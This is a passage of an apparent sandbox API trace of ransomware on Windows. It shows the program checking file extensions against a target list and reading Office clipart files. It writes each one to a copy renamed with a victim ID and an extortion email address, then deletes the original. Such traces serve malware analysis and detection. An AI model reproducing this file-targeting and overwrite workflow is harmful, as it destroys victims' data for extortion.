	[0072.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0072.842] lstrlenW (lpString=".doc") returned 4
	[0072.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.842] lstrlenW (lpString=".docx") returned 5
	[0072.842] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.842] lstrlenW (lpString=".pdf") returned 4
	[0072.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.842] lstrlenW (lpString=".xls") returned 4
	[0072.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.842] lstrlenW (lpString=".xlsx") returned 5
	[0072.842] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.842] lstrlenW (lpString=".ppt") returned 4
	[0072.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0072.842] lstrlenW (lpString=".zip") returned 4
	[0072.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.842] lstrlenW (lpString=".rar") returned 4
	[0072.842] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.842] lstrlenW (lpString=".bz2") returned 4
	[0072.842] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.842] lstrlenW (lpString=".7z") returned 3
	[0072.842] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0072.842] lstrlenW (lpString=".dbf") returned 4
	[0072.842] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0072.842] lstrlenW (lpString=".1cd") returned 4
	[0072.842] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0072.842] lstrlenW (lpString=".jpg") returned 4
	[0072.842] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.843] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.843] lstrlenW (lpString="BD06200_.WMF") returned 12
	[0072.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0072.843] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=16676) returned 1
	[0072.843] CloseHandle (hObject=0x328) returned 1
	[0072.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x220
	[0072.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0072.843] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.843] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0072.844] GetLastError () returned 0x0
	[0072.844] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x4124, lpOverlapped=0x0) returned 1
	[0072.845] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x4130, lpOverlapped=0x0) returned 1
	[0072.847] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.847] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.847] SetEndOfFile (hFile=0x38c) returned 1
	[0072.847] CloseHandle (hObject=0x38c) returned 1
	[0072.848] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.848] SetEndOfFile (hFile=0x328) returned 1
	[0072.849] CloseHandle (hObject=0x328) returned 1
	[0072.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 1
	[0072.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0072.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0072.850] lstrlenW (lpString=".doc") returned 4
	[0072.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.850] lstrlenW (lpString=".docx") returned 5
	[0072.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.850] lstrlenW (lpString=".pdf") returned 4
	[0072.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.850] lstrlenW (lpString=".xls") returned 4
	[0072.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.850] lstrlenW (lpString=".xlsx") returned 5
	[0072.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.850] lstrlenW (lpString=".ppt") returned 4
	[0072.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0072.850] lstrlenW (lpString=".zip") returned 4
	[0072.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.850] lstrlenW (lpString=".rar") returned 4
	[0072.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.850] lstrlenW (lpString=".bz2") returned 4
	[0072.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.850] lstrlenW (lpString=".7z") returned 3
	[0072.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0072.850] lstrlenW (lpString=".dbf") returned 4
	[0072.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0072.850] lstrlenW (lpString=".1cd") returned 4
	[0072.850] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0072.850] lstrlenW (lpString=".jpg") returned 4
	[0072.850] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0072.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0072.851] lstrlenW (lpString=".doc") returned 4
	[0072.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.851] lstrlenW (lpString=".docx") returned 5
	[0072.851] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.851] lstrlenW (lpString=".pdf") returned 4
	[0072.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.851] lstrlenW (lpString=".xls") returned 4
	[0072.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.851] lstrlenW (lpString=".xlsx") returned 5
	[0072.851] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.851] lstrlenW (lpString=".ppt") returned 4
	[0072.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0072.851] lstrlenW (lpString=".zip") returned 4
	[0072.851] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.851] lstrlenW (lpString=".rar") returned 4
	[0072.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.851] lstrlenW (lpString=".bz2") returned 4
	[0072.851] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.851] lstrlenW (lpString=".7z") returned 3
	[0072.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0072.851] lstrlenW (lpString=".dbf") returned 4
	[0072.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0072.851] lstrlenW (lpString=".1cd") returned 4
	[0072.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0072.851] lstrlenW (lpString=".jpg") returned 4
	[0072.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.852] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.852] lstrlenW (lpString="BD07761_.WMF") returned 12
	[0072.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0072.865] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=26748) returned 1
	[0072.874] CloseHandle (hObject=0x328) returned 1
	[0072.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x220
	[0072.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0072.892] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.892] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0072.892] GetLastError () returned 0x0
	[0072.892] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x687c, lpOverlapped=0x0) returned 1
	[0072.894] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x6880, lpOverlapped=0x0) returned 1
	[0072.896] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.896] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.896] SetEndOfFile (hFile=0x38c) returned 1
	[0072.896] CloseHandle (hObject=0x38c) returned 1
	[0072.897] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.897] SetEndOfFile (hFile=0x328) returned 1
	[0072.898] CloseHandle (hObject=0x328) returned 1
	[0072.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.899] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 1
	[0072.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0072.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0072.899] lstrlenW (lpString=".doc") returned 4
	[0072.899] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.899] lstrlenW (lpString=".docx") returned 5
	[0072.899] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.899] lstrlenW (lpString=".pdf") returned 4
	[0072.899] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.899] lstrlenW (lpString=".xls") returned 4
	[0072.899] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.899] lstrlenW (lpString=".xlsx") returned 5
	[0072.899] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.899] lstrlenW (lpString=".ppt") returned 4
	[0072.899] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0072.899] lstrlenW (lpString=".zip") returned 4
	[0072.899] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.899] lstrlenW (lpString=".rar") returned 4
	[0072.899] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.899] lstrlenW (lpString=".bz2") returned 4
	[0072.899] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.900] lstrlenW (lpString=".7z") returned 3
	[0072.900] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0072.901] lstrlenW (lpString=".dbf") returned 4
	[0072.901] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0072.901] lstrlenW (lpString=".1cd") returned 4
	[0072.901] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0072.901] lstrlenW (lpString=".jpg") returned 4
	[0072.901] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0072.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0072.901] lstrlenW (lpString=".doc") returned 4
	[0072.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.901] lstrlenW (lpString=".docx") returned 5
	[0072.901] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.901] lstrlenW (lpString=".pdf") returned 4
	[0072.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.901] lstrlenW (lpString=".xls") returned 4
	[0072.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.901] lstrlenW (lpString=".xlsx") returned 5
	[0072.901] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.901] lstrlenW (lpString=".ppt") returned 4
	[0072.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0072.901] lstrlenW (lpString=".zip") returned 4
	[0072.901] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.901] lstrlenW (lpString=".rar") returned 4
	[0072.901] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.901] lstrlenW (lpString=".bz2") returned 4
	[0072.901] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.902] lstrlenW (lpString=".7z") returned 3
	[0072.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0072.902] lstrlenW (lpString=".dbf") returned 4
	[0072.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0072.902] lstrlenW (lpString=".1cd") returned 4
	[0072.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0072.902] lstrlenW (lpString=".jpg") returned 4
	[0072.902] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.902] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.902] lstrlenW (lpString="BD08808_.WMF") returned 12
	[0072.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0072.902] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=47996) returned 1
	[0072.902] CloseHandle (hObject=0x328) returned 1
	[0072.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x220
	[0072.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0072.903] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.903] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0072.903] GetLastError () returned 0x0
	[0072.903] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0xbb7c, lpOverlapped=0x0) returned 1
	[0072.906] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xbb80, lpOverlapped=0x0) returned 1
	[0072.907] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.907] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.907] SetEndOfFile (hFile=0x38c) returned 1
	[0072.907] CloseHandle (hObject=0x38c) returned 1
	[0072.909] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.909] SetEndOfFile (hFile=0x328) returned 1
	[0072.910] CloseHandle (hObject=0x328) returned 1
	[0072.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.911] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 1
	[0072.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0072.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0072.911] lstrlenW (lpString=".doc") returned 4
	[0072.911] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.911] lstrlenW (lpString=".docx") returned 5
	[0072.911] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.911] lstrlenW (lpString=".pdf") returned 4
	[0072.911] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.911] lstrlenW (lpString=".xls") returned 4
	[0072.911] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.911] lstrlenW (lpString=".xlsx") returned 5
	[0072.911] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.911] lstrlenW (lpString=".ppt") returned 4
	[0072.911] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0072.911] lstrlenW (lpString=".zip") returned 4
	[0072.911] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.912] lstrlenW (lpString=".rar") returned 4
	[0072.912] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.912] lstrlenW (lpString=".bz2") returned 4
	[0072.912] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.912] lstrlenW (lpString=".7z") returned 3
	[0072.912] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0072.912] lstrlenW (lpString=".dbf") returned 4
	[0072.912] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0072.912] lstrlenW (lpString=".1cd") returned 4
	[0072.912] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0072.912] lstrlenW (lpString=".jpg") returned 4
	[0072.912] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
